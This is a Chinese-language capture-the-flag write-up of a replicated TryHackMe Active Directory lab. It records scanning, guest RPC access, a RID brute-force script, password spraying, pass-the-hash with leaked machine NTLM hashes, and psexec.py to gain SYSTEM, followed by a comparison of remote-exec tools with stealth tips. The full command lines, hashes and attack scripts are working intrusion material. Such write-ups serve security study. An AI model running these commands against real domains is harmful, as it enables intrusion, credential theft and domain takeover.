Soupedecode01

# Soupedecode 01 域控渗透 - 从零到 SYSTEM 的完整记录

复刻自 TryHackMe Soupedecode 01,单机域控练习,flag 在目标 C 盘根目录下。
目标:192.168.111.20 本机:192.168.111.25 VPN 已连接

0x00 前言

这是棉花糖复刻的 TryHackMe Soupedecode 01 域控渗透靶场,考点覆盖了从外网侦察到域内提权的完整链路。这篇文章记录了实际操作的全过程,包括每一步踩的坑和思路转折,希望能帮到同样在学 AD 渗透的朋友。

0x01 端口扫描与服务识别

先用 fscan 快速扫一遍常见端口:

1
fscan.exe -h 192.168.111.20

扫出 4 个端口:135、139、445、88。但 fscan 默认只扫常见端口,漏掉了域控的关键服务。用 PowerShell 写了个快速 TCP 探测,把域控典型端口全测了一遍:

1
2
3
4
5
6
7
8
9
10
11
53    OPEN   DNS
88 OPEN Kerberos
135 OPEN RPC
139 OPEN NetBIOS
389 OPEN LDAP
445 OPEN SMB
636 OPEN LDAPS
3268 OPEN 全局目录 GC
3269 OPEN 全局目录 GC(SSL)
3389 OPEN RDP
5985 OPEN WinRM

53(DNS)、88(Kerberos)、389/3268(LDAP)、445(SMB)、135(RPC)全在——这台机器是域控无疑,主机名 DC01。

0x02 FQDN 获取

渗透 AD 第一步要搞清楚域名。Windows AD 域有两套名字:

  • NetBIOS 短名:SOUPEDECODE(fscan 扫出来的)
  • FQDN 完整域名:需要主动获取

.local 不是默认后缀,不能猜。有两种方式拿到 FQDN:

方式一:匿名 LDAP 查 RootDSE

LDAP 服务器(389 端口)允许匿名绑定查询 RootDSE,里面有 defaultNamingContext 字段:

1
2
3
4
5
6
from System.DirectoryServices.Protocols import LdapConnection, AuthType
conn = LdapConnection("192.168.111.20:389")
conn.AuthType = AuthType.Anonymous
conn.Bind()
# 查 RootDSE
# defaultNamingContext = DC=soupedecode,DC=local

DC= 去掉用点拼起来就是 FQDN:soupedecode.local,Kerberos realm 用 SOUPEDECODE.LOCAL

小坑:用 ADSI(DirectoryEntry)匿名绑定时,它会偷偷用当前 Windows 登录身份去认证,反而连不上。换成 LdapConnection + 强制 Anonymous 才干净。

方式二:enum4linux-ng 通过 SMB 获取

enum4linux-ng 在 445 端口建立 SMB 会话后,会从 SMB 协议的协商响应里直接读到域信息,不需要任何凭据:

1
enum4linux-ng -P 192.168.111.20

输出里的关键字段:

1
2
3
4
NetBIOS computer name: DC01
NetBIOS domain name: SOUPEDECODE
DNS domain: SOUPEDECODE.LOCAL
FQDN: DC01.SOUPEDECODE.LOCAL

SMB 协议在会话协商阶段会交换机器的完整域名信息,enum4linux-ng 帮你把它解析出来了。两种方式的区别:LDAP 走 389 端口查目录元数据,SMB 走 445 端口从协议握手里读。哪条通就用哪条,实战中两个都试一遍最稳。

0x03 空会话与匿名枚举(全部失败)

SMB 空会话

1
net use \\192.168.111.20\IPC$ /user:guest ""

用 net use 测了空会话和 guest 空密码。结果:

  • SYSVOL/NETLOGON:拒绝匿名
  • backup 共享:能连不能读(Access Denied)
  • smbclient -L //192.168.111.20 -U 'guest%' 列出共享,能看到 backup、NETLOGON、SYSVOL(Windows 下也可以用 net view \\192.168.111.20

匿名 LDAP

匿名绑定成功了,但只能读 RootDSE 元数据(域名、命名上下文),子树搜索用户列表被拒(An operation error occurred)。

AS-REP Roasting

用 impacket 原版 GetNPUsers.py 对已知用户做 AS-REP Roasting:

1
GetNPUsers.py SOUPEDECODE.LOCAL/ -usersfile vusers.txt -request -dc-ip 192.168.111.20 -no-pass

结果:所有用户都启用了预认证(doesn't have UF_DONT_REQUIRE_PREAUTH set),没有可烤用户。

到这一步,所有”无凭据白嫖”的通道都试过了,全堵死。

0x04 突破口:guest + rpcclient + RID 爆破

这是整个渗透的转折点。

之前用 net use 测 guest 时,注意力全放在”能不能读共享、能不能调 enumdomusers”,都被拒就以为 guest 这条路死了。但其实 一个命令不行,不代表所有命令都不行

关键区别在于:net use 只是建立通道,不会去管道里调 RPC 函数;而 rpcclient 会主动打开 \PIPE\lsarpc 命名管道调 LSA 接口。每个 RPC 接口有独立的权限检查,要逐个试探。

Windows 原生没有 rpcclient,在 WSL Kali 里装了 smbclient(含 rpcclient):

1
rpcclient -U 'guest%' 192.168.111.20

进去后依次试三个命令:

1
2
3
rpcclient $> lsaquery          # 成功!拿到域 SID
rpcclient $> enumdomusers # 被拒 ACCESS_DENIED
rpcclient $> lookupsids S-1-5-21-xxx-500 # 成功!反查出 Administrator

lsaquerylookupsids 对 guest 放行了,enumdomusers 没有。这就是突破口——虽然不能批量列用户,但能逐个反查。

SID 与 RID 的关系

先搞清楚几个概念:

  • SID(Security Identifier):Windows 里每个安全主体(用户、组、计算机)的唯一标识符,格式 S-1-5-21-<域标识>-<RID>
  • 域 SID:同一个域内所有主体共享的固定前缀,比如 S-1-5-21-875679470-3476450079-2794512899
  • RID(Relative Identifier):SID 的最后一段数字,域内每个主体各不相同

举个例子:

1
2
Administrator 的 SID = S-1-5-21-875679470-3476450079-2794512899-500
域 SID(固定) RID

RID 的分配规则:

RID 含义
500 Administrator(固定)
501 Guest(固定)
502 krbtgt(固定)
512+ 内置组
1000+ 域内创建的用户、组、计算机

关键点:lookupsids 这个 RPC 调用能把任意 SID 反查成用户名,而且 guest 权限就够用。所以只要拿到域 SID,从 500 开始逐个拼 域SID-RID 去查,就能枚举出所有用户名——这就是 RID 爆破能成功的根本原因。

RID 爆破

拿到域 SID 后,从 RID 500 开始递增,逐个 lookupsids 反查用户名:

1
2
3
4
5
6
7
SID="S-1-5-21-875679470-3476450079-2794512899"
for rid in $(seq 500 1200); do
result=$(rpcclient -U 'guest%' 192.168.111.20 -c "lookupsids $SID-$rid" 2>/dev/null)
if [ -n "$result" ] && ! echo "$result" | grep -q "NT_STATUS_NONE_MAPPED\|NT_STATUS_ACCESS_DENIED"; then
echo "$rid: $result"
fi
done

爆出来的有效用户:

RID 用户名 类型
500 Administrator 用户
501 Guest 用户
502 krbtgt 用户
1139 ybob317 用户
1140 file_svc 用户(服务账户)
1141-1151 FileServer$、WebServer$ 等 计算机账户

RID 分配规则:500-502 是固定内置账户,1000+ 是普通用户和组。WP 里用 crackmapexec 的 --rid-brute 参数就是把这个循环自动化了。

0x05 密码喷洒

拿到用户列表后,用”用户名=密码”模式喷洒。ybob317:ybob317 命中(靶场常见套路,很多人把密码设成自己的用户名)。

这组凭据是域账户密码,不是某个协议的密码。AD 的精髓就是单点登录——一套凭据通吃 SMB、LDAP、Kerberos、RDP、WinRM 等多个协议。密码对了只是认证通过,能不能用还要看每个协议的授权层。

0x06 拿到第一份情报:backup 共享

用 ybob317 认证后重新枚举共享,比匿名时多了 ADMIN$、C$:

1
net view \\192.168.111.20

backup 共享现在能读了(之前 guest 只能连不能读),里面有 backup_extract.txt

1
copy \\192.168.111.20\backup\backup_extract.txt backup_extract.txt

内容是所有机器账户的 NTLM 哈希和 Kerberos key:

1
2
3
4
FileServer$:1142:aad3b435b51404eeaad3b435b51404ee:3647bc99352403e306780b2c0c63a685:::
WebServer$:1143:aad3b435b51404eeaad3b435b51404ee:9bcde1e9b9f1d387b4384df7a6999d74:::
...
soupedecode.local\FileServer$:aes256-cts-hmac-sha1-96:73aed49ef2f5...

0x07 Pass-the-Hash 拿 SYSTEM

backup 文件里的是 NTLM 哈希,不是 Kerberos 票据。NTLM 哈希可以直接用(Pass-the-Hash),不用爆破——因为 Windows 认证只验哈希不验密码,有哈希等于有密码。

逐个测试机器哈希,FileServer$ 登录成功且有管理员权限(能访问 C$ 和 ADMIN$):

1
2
3
4
from impacket.smbconnection import SMBConnection
s = SMBConnection("192.168.111.20", "192.168.111.20")
s.login("FileServer$", "", "SOUPEDECODE", "", "3647bc99352403e306780b2c0c63a685")
# C$ 和 ADMIN$ 都能访问 = 管理员权限

用 psexec.py 拿交互式 shell:

1
python3 psexec.py -hashes aad3b435b51404eeaad3b435b51404ee:3647bc99352403e306780b2c0c63a685 "SOUPEDECODE.LOCAL/FileServer$@192.168.111.20"

cmd 里 $ 不是特殊字符,直接写 FileServer$,不要加反斜杠转义。

psexec 的原理:用 PTH 认证连上 ADMIN$ 共享 → 上传一个远程 shell 服务 → 通过 SCM 创建并启动服务 → 拿到 SYSTEM 权限的 cmd。

1
2
3
4
5
C:\Windows\system32> whoami
nt authority\system

C:\Windows\system32> type C:\flag.log
bd42e8070dd53effd2c93ae6c7e08685

flag 到手。

WP 的另一条路:Kerberoasting

Writeup 里走了另一条路拿凭据——Kerberoasting。和我们从 backup 文件直接拿 NTLM 哈希不同,WP 是用 ybob317 的凭据去烤 TGS 票据:

1
2
# 探测有 SPN 的服务账户并请求票据
GetUserSPNs.py SOUPEDECODE.LOCAL/ybob317:ybob317 -dc-ip 192.168.111.20 -request

输出拿到 file_svc 服务账户的 TGS 票据 hash:

1
$krb5tgs$23$*file_svc$SOUPEDECODE.LOCAL$SPN/*file_svc$:<hash...>

这个 hash 的原理:TGS 票据是用服务账户密码的 NTLM hash 加密的,拿到票据后可以离线爆破,爆破成功就得到服务账户的明文密码。

两种路线对比:

我们的路线 WP 的路线
哈希来源 backup 共享里的 backup_extract.txt Kerberoasting 烤出的 TGS 票据
哈希格式 NTLM hash(aad3b...:3647bc... Kerberos TGS($krb5tgs$23$*...
能否直接用 能,PTH 直接登录 不能,需要爆破
爆破 不需要 用 hashcat 爆破 TGS hash 得明文密码
最终手段 PTH + psexec.py 明文密码 + psexec.py

核心区别:NTLM 哈希是钥匙,拿到直接用;TGS 票据是上锁的箱子,拿到要爆破。 我们运气好,backup 文件直接给了 NTLM 哈希,省去了爆破步骤。WP 没有 backup 这条路(或者没发现),只能走 Kerberoasting 爆破。

补充:如果 backup 文件里还有 AES256 key(aes256-cts-hmac-sha1-96),那也是钥匙级别的——拿到可以直接 Pass-the-Key,不用爆破。TGS 票据之所以要爆破,是因为它不是 key 本身,而是用 key 加密后的密文。

0x08 完整攻击链

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
guest 空密码登录 rpcclient

lsaquery 拿域 SID

RID 爆破枚举全量用户(ybob317)

密码喷洒 ybob317:ybob317 命中

ybob317 读 backup 共享 → backup_extract.txt(机器账户 NTLM 哈希)

Pass-the-Hash(FileServer$ 哈希)

psexec.py → SYSTEM

type C:\flag.log → flag

0x09 关键概念总结

为什么”没有凭据但需要用户名”

一组凭据 = 用户名 + 密码。用户名是能”白嫖”的半组凭据(KDC 会泄露存在性),密码是要攻击的半组。先把便宜的半组搞到手,再攻贵的半组。

NTLM 哈希 vs Kerberos 票据

  • NTLM 哈希 = 钥匙,拿到直接用(PTH)
  • Kerberos 票据($krb5tgs$) = 上锁的箱子,拿到要爆破
  • Kerberos key(AES256 等) = 钥匙,拿到直接用(Pass-the-Key)

每个端口背后的能力

端口 协议 能干什么
88 Kerberos/KDC 认证、发票、用户名枚举、AS-REP Roasting
445/139 SMB 共享文件、承载 RPC 管道、空会话
389/636 LDAP 查域数据库(用户、组、密码策略)
135 RPC 远程调用总机
53 DNS 名字解析
3389 RDP 远程桌面

一个命令不行不代表全不行

enumdomusers 被拒,但 lsaquerylookupsids 没被拒。每个 RPC 接口有独立权限检查,要逐个试探。这是 RID 爆破能成功的根本原因。

0x0A 工具清单

工具 用途 运行环境
fscan 快速端口扫描 Windows
kerbrute Kerberos 用户名枚举 Windows
GetNPUsers.py AS-REP Roasting Python (impacket)
rpcclient SMB/RPC 枚举、RID 爆破 WSL Kali (Samba)
smbclient SMB 共享访问 WSL Kali (Samba)
psexec.py PTH 拿 shell Python (impacket)

0x0B 踩坑记录

  1. net use 删连接报 1219:删的时候要用完整共享路径 \backup,不能只写服务器根
  2. ADSI 匿名绑定失败:DirectoryEntry 会偷用当前身份,换 LdapConnection + Anonymous
  3. kerbrute Encoding_Error 不是 AS-REP:是解析 bug,要用 GetNPUsers.py 确认
  4. WSL 网络不通:要开 networkingMode=mirrored,重启 WSL 才生效
  5. psexec 报 ACCESS_DENIED:cmd 里 $ 不需要转义,直接写 FileServer$
  6. cme v5.22 跑不了:依赖 imp 模块,Python 3.12+ 删了,需要旧 Python

0x0C 远程 Shell 工具:各种 exec 的区别

拿到凭据或哈希后,需要远程执行命令拿 shell。impacket 自带了多种 exec,底层走的 Windows 远程执行机制各不相同,一个被堵就换另一个。

psexec.py — SMB + 服务控制管理器

原理:用凭据/哈希连上 ADMIN$ 共享 → 上传一个 exe → 通过 RPC 调 SCM 创建 Windows 服务指向该 exe → 启动服务 → 拿到半交互式 shell。退出时删文件、删服务。

特点:会落地文件、创建服务,痕迹明显但最稳定,拿到的是 SYSTEM 权限(服务以 LocalSystem 跑)。

1
psexec.py -hashes aad3b...:3647bc... "SOUPEDECODE.LOCAL/FileServer$@192.168.111.20"

wmiexec.py — WMI over DCOM

原理:通过 DCOM 连上 WMI 服务 → 调用 Win32_Process.Create 执行命令 → 输出重定向到临时文件 → 再通过 SMB 读文件拿回显 → 读完删除。

特点:不上传二进制、不创建服务,隐蔽性好,体感最快(每条命令只走一轮 WMI 调用)。但不是真交互式 shell,每条命令单独执行。拿到的是登录账户的权限,不是 SYSTEM。-codec gbk 解决中文回显乱码。

1
wmiexec.py -hashes :ec0df45863a3751d56ba6df1e72f7218 myd.com/Administrator@192.168.111.100 -codec gbk

smbexec.py — SMB + 计划任务

原理:不上传 exe,把命令写进 bat 文件,通过 SMB 共享让目标执行,输出重定向到临时文件再读回来。

特点:介于 psexec 和 wmiexec 之间,隐蔽性比 psexec 好,但比 wmiexec 慢。

atexec.py — 任务计划服务(TSCH)

原理:通过 RPC 调 Task Scheduler 创建一次性计划任务执行命令,跑完任务自动删除。

特点:适合”只想跑一条命令拿结果”的场景,不留持久痕迹。

dcomexec.py — DCOM(ShellWindows)

原理:走 ShellWindowsShellBrowserWindow 这两个 DCOM 对象的 Execute 方法,跟 wmiexec 原理接近但走的 COM 接口不同。

特点:当 WMI 被监控或禁用时能顶上,算 wmiexec 的隐蔽变种。

对比表

工具 底层通道 落地文件 权限 隐蔽性 典型场景
psexec.py SMB + SCM 服务 上传 exe 到 ADMIN$ SYSTEM 需要稳定 shell
wmiexec.py WMI/DCOM 不上传,只写临时输出文件 登录账户 快速隐蔽执行
smbexec.py SMB + 计划任务 bat 文件 登录账户 psexec 不通时替补
atexec.py TSCH(任务计划) 登录账户 只跑一条命令
dcomexec.py DCOM ShellWindows 不上传 登录账户 WMI 被禁时替补

非 impacket 的 exec

工具 特点
CrackMapExec / NetExec --exec-method smbexec/atexec/wmiexec/mmcexec 参数切换,一个工具覆盖多种方法,批量执行神器
Evil-WinRM 走 WinRM(5985),需要目标开了 WinRM 且账户在 Remote Management Users 组,拿的是 PowerShell,功能最强
Metasploit psexec_psh 用 PowerShell 版的 psexec,不走传统 SMB exe,过一些 AV

怎么选

实战决策顺序:先试 wmiexec(快、隐蔽)→ 不通就试 psexec(稳、拿 SYSTEM)→ 都不通就换 smbexec / atexec / dcomexec。想要 PowerShell 环境直接上 Evil-WinRM(前提 5985 开着)。批量打多台机器用 NetExec 一把梭。本质上这些工具的区别就是”用 Windows 的哪个远程执行机制”——服务管理器、WMI、计划任务、DCOM、WinRM,都是 Windows 自带的管理通道,各自需要的权限和留下的痕迹不同。

结语

这个靶场把 AD 渗透的侦察链串得很完整:从端口特征判定域控,到匿名通道逐个试探,到 RID 爆破突破用户名瓶颈,最后 PTH 拿 SYSTEM。最核心的一课是”一个命令不行不代表所有命令都不行”——SMB 空会话被拒不等于 RPC 接口全关,逐个试探才找到 lsaquery 和 lookupsides 这两个漏网的口子。

渗透测试本质就是个不断试错的过程,拿到新凭据后要回头重新走一遍之前的流程,经常会有新的发现。


flag: bd42e8070dd53effd2c93ae6c7e08685


Soupedecode01
http://82.156.189.140:8085/2026/07/04/Soupedecode01/
作者
fortuneh2c
发布于
2026年7月4日
许可协议